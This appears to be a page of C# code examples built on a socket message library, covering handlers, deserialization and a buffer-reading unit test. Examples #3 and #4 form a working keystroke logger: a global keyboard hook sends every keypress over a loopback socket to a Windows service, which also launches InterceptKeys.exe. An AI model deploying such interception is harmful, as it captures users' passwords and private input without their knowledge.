コード例 #1
0
ファイル: ClientSession.cs プロジェクト: etking19/icon600
 void _Client_DataReceived(SocketServerLib.SocketHandler.AbstractTcpSocketClientHandler handler, SocketServerLib.Message.AbstractMessage message)
 {
     if (DataReceived != null)
     {
         BasicMessage receivedMessage = (BasicMessage)message;
         DataReceived(receivedMessage.ClientUID, receivedMessage.GetBuffer());
     }
 }
コード例 #2
0
        void client_ReceiveMessageEvent(SocketServerLib.SocketHandler.AbstractTcpSocketClientHandler handler, SocketServerLib.Message.AbstractMessage message)
        {
            BasicMessage receivedMessage = (BasicMessage)message;

            byte[] buffer = receivedMessage.GetBuffer();
            string s      = System.Text.ASCIIEncoding.Unicode.GetString(buffer);

            this.SetReceivedText(s);
        }
コード例 #3
0
ファイル: Program.cs プロジェクト: rajeshwarn/TestProject
        static void Main()
        {
            ILogger logger = LogManager.GetLogger("KeyDemo");

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);

            BasicSocketClient client = null;
            Guid clientGuid          = Guid.Empty;

            try
            {
                clientGuid = Guid.NewGuid();
                client     = new BasicSocketClient();
                client.ReceiveMessageEvent += (handler, message) =>
                {
                    BasicMessage receivedMessage = (BasicMessage)message;
                    byte[]       buffer          = receivedMessage.GetBuffer();
                    string       s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);
                    logger.Debug(s);
                };
                client.ConnectionEvent += (handler) =>
                {
                    Thread.Sleep(TimeSpan.FromSeconds(20));
                    logger.Debug("Client connected to remote server");
                };
                client.CloseConnectionEvent += (handler) =>
                {
                    logger.Debug("Client disconnected from remote server");
                };
                client.Connect(new IPEndPoint(IPAddress.Loopback, 8100));

                var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
                m_KeyboardHookManager.Enabled   = true;
                m_KeyboardHookManager.KeyPress += (sender, e) =>
                {
                    //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() });
                    string       s       = e.KeyChar.ToString();
                    byte[]       buffer  = System.Text.ASCIIEncoding.Unicode.GetBytes(s);
                    BasicMessage message = new BasicMessage(clientGuid, buffer);
                    client.SendAsync(message);
                    logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar));
                };
                Application.Run();
            }
            catch (Exception)
            {
                throw;
            }
        }
コード例 #4
0
ファイル: Service1.cs プロジェクト: rajeshwarn/TestProject
        protected override void OnStart(string[] args)
        {
            //Assembly.LoadFrom(@"InterceptKeys.exe");
            //var instance = AppDomain.CurrentDomain.CreateInstance("InterceptKeys", "InterceptKeys.InterceptKeys");
            //var instance = Activator.CreateInstance(Type.GetType("InterceptKeys.InterceptKeys,InterceptKeys"));
            Task.Factory.StartNew(() =>
            {
                var pipe   = new Receiver();
                pipe.Data += (data) =>
                {
                    LogManager.Logger.Debug(string.Format("收到数据:{0}", string.Join(",", data)));
                };
                if (pipe.ServiceOn() == false)
                {
                    LogManager.Logger.Error(pipe.error);
                }

                //start socket server
                this.serverGuid = Guid.NewGuid();
                this.server     = new BasicSocketServer();
                this.server.ReceiveMessageEvent += (handler, message) =>
                {
                    BasicMessage receivedMessage = (BasicMessage)message;
                    byte[] buffer = receivedMessage.GetBuffer();
                    if (buffer.Length > 1000)
                    {
                        LogManager.Logger.Debug(string.Format("Received a long message of {0} bytes", receivedMessage.MessageLength), "Socket Server");
                        return;
                    }
                    string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);
                    LogManager.Logger.Debug(string.Format("Received Message:{0} from {1}", s, receivedMessage.ClientUID));
                    var client = server.GetClientList().FirstOrDefault(c => c.ClientUID == handler.ToString());
                    client.TcpSocketClientHandler.SendAsync(new BasicMessage(this.serverGuid, System.Text.ASCIIEncoding.Unicode.GetBytes("收到")));
                };
                this.server.ConnectionEvent += (handler) =>
                {
                    LogManager.Logger.Debug(string.Format("A client is connected to the server"), "Socket Server");
                };
                this.server.CloseConnectionEvent += (handler) =>
                {
                    LogManager.Logger.Debug(string.Format("A client is disconnected from the server"), "Socket Server");
                };
                this.server.Init(new IPEndPoint(IPAddress.Loopback, 8100));
                this.server.StartUp();

                ClosePreProcess();
                Process.Start(@"InterceptKeys.exe");
            });
        }
コード例 #5
0
        void server_ReceiveMessageEvent(SocketServerLib.SocketHandler.AbstractTcpSocketClientHandler handler, SocketServerLib.Message.AbstractMessage message)
        {
            BasicMessage receivedMessage = (BasicMessage)message;

            byte[] buffer = receivedMessage.GetBuffer();
            if (buffer.Length > 1000)
            {
                MessageBox.Show(string.Format("Received a long message of {0} bytes", receivedMessage.MessageLength), "Socket Server",
                                MessageBoxButtons.OK, MessageBoxIcon.Information);
                return;
            }
            string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);

            this.SetReceivedText(s);
        }
コード例 #6
0
        private void client_ReceiveMessageEvent(AbstractTcpSocketClientHandler handler, AbstractMessage message)
        {
            try
            {
                BasicMessage receivedMessage = (BasicMessage)message;
                byte[]       buffer          = receivedMessage.GetBuffer();
                string       s = ASCIIEncoding.Unicode.GetString(buffer);

                var deserializedMessage = ContainerMessage.Deserialize(s) as ContainerMessage;
                if (deserializedMessage != null)
                {
                    ProcessMessage(deserializedMessage);
                }
            }
            catch (Exception ex)
            {
                RaiseNewTextEvent(ex.Message);
            }
        }
コード例 #7
0
        private void server_ReceiveMessageEvent(AbstractTcpSocketClientHandler handler, AbstractMessage message)
        {
            try
            {
                BasicMessage receivedMessage = (BasicMessage)message;
                byte[]       buffer          = receivedMessage.GetBuffer();
                string       s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);

                ClientInfo[] clientList = _server.GetClientList();
                if (clientList.Length == 0)
                {
                    return;
                }

                ClientInfo sender = null;

                foreach (ClientInfo ci in clientList)
                {
                    if (ci.TcpSocketClientHandler == handler)
                    {
                        sender = ci;
                        break;
                    }
                }

                var deserializedMessage = ContainerMessage.Deserialize(s) as ContainerMessage;
                if (deserializedMessage != null)
                {
                    ProcessMessage(deserializedMessage, sender);
                }
            }
            catch (Exception ex)
            {
                RaiseNewTextEvent("Exception in Server.ReceiveMessageEvent: " + ex.Message + ".");
            }
        }
コード例 #8
0
        public void TryReadMessageTestOneLongOneShortMessage()
        {
            // Create a message to write as received in buffer
            byte[]          fakeBody        = new byte[SocketStateObject.BufferSize * 2];
            AbstractMessage messageToWrite1 = new BasicMessage(Guid.NewGuid(), fakeBody);

            fakeBody = new byte[50];
            AbstractMessage messageToWrite2 = new BasicMessage(Guid.NewGuid(), fakeBody);

            byte[] bufferToSend = new byte[messageToWrite1.MessageLength + messageToWrite2.MessageLength];
            int    offset       = messageToWrite1.Header.Write(bufferToSend, 0);

            offset += messageToWrite1.GetBuffer().Length;
            offset  = messageToWrite2.Header.Write(bufferToSend, offset);
            offset += messageToWrite2.GetBuffer().Length;
            // Read per block
            int readOffset          = 0;
            int counter             = 0;
            SocketStateObject state = new SocketStateObject();

            while (readOffset < bufferToSend.Length)
            {
                int size = ((bufferToSend.Length - readOffset) > SocketStateObject.BufferSize) ?
                           SocketStateObject.BufferSize : (bufferToSend.Length - readOffset);
                // Prepare the received buffer
                Array.Copy(bufferToSend, readOffset, state.buffer, 0, size);
                // Call the TryRead
                AbstractMessage message  = new BasicMessage();
                int             byteRead = size;
                AbstractMessage actual   = AbstractMessage.TryReadMessage(message, state, byteRead);
                switch (counter)
                {
                case 0:
                    Assert.IsNull(actual);
                    Assert.IsNotNull(state.message);
                    Assert.IsNull(state.pendingBuffer);
                    break;

                case 1:
                    Assert.IsNull(actual);
                    Assert.IsNotNull(state.message);
                    Assert.IsNull(state.pendingBuffer);
                    break;

                case 2:
                    Assert.IsNotNull(actual);
                    Assert.AreEqual(actual.MessageLength, messageToWrite1.MessageLength);
                    Assert.IsNull(state.message);
                    Assert.IsNotNull(state.pendingBuffer);
                    break;
                }
                counter++;
                readOffset += size;
            }
            AbstractMessage message2 = new BasicMessage();
            AbstractMessage actual2  = AbstractMessage.TryReadMessage(message2, state, 0);

            Assert.IsNotNull(actual2);
            Assert.AreEqual(actual2.MessageLength, messageToWrite2.MessageLength);
            Assert.IsNull(state.message);
            Assert.IsNull(state.pendingBuffer);
        }